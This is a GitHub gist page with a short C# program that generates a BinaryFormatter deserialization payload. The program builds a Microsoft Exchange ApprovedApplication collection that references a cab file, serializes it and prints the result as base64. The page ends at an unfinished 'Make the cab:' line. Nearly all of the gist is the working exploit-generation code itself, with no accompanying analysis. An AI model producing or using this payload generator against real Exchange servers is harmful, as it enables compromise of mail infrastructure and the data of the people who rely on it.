Created
November 11, 2022 18:58
-
-
Save rxwx/5dfeb66545d46d9d94a3e0e034464d29 to your computer and use it in GitHub Desktop.
Generate ApprovedApplication BinaryFormatter payload
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Globalization; | |
using System.IO; | |
using System.Reflection; | |
using System.Runtime.Serialization.Formatters.Binary; | |
using System.Threading; | |
using Microsoft.Exchange.Data.Directory.SystemConfiguration; | |
namespace ApprovedAppGenerator | |
{ | |
internal class Program | |
{ | |
static void Main(string[] args) | |
{ | |
string cabFile = "test.cab"; | |
var app = (ApprovedApplication)Activator.CreateInstance(typeof(ApprovedApplication), | |
BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance, | |
null, new object[] { cabFile }, CultureInfo.InvariantCulture); | |
ApprovedApplicationCollection collection = new ApprovedApplicationCollection(); | |
collection.Add(app); | |
byte[] arr; | |
using (MemoryStream memStream = new MemoryStream()) | |
{ | |
BinaryFormatter formatter = new BinaryFormatter(); | |
formatter.Serialize(memStream, collection); | |
arr = memStream.ToArray(); | |
memStream.Seek(0, SeekOrigin.Begin); | |
object obj = formatter.Deserialize(memStream); | |
Console.WriteLine(obj.GetType()); | |
Thread.Sleep(3000); | |
} | |
string str = Convert.ToBase64String(arr); | |
Console.WriteLine(str); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Make the cab: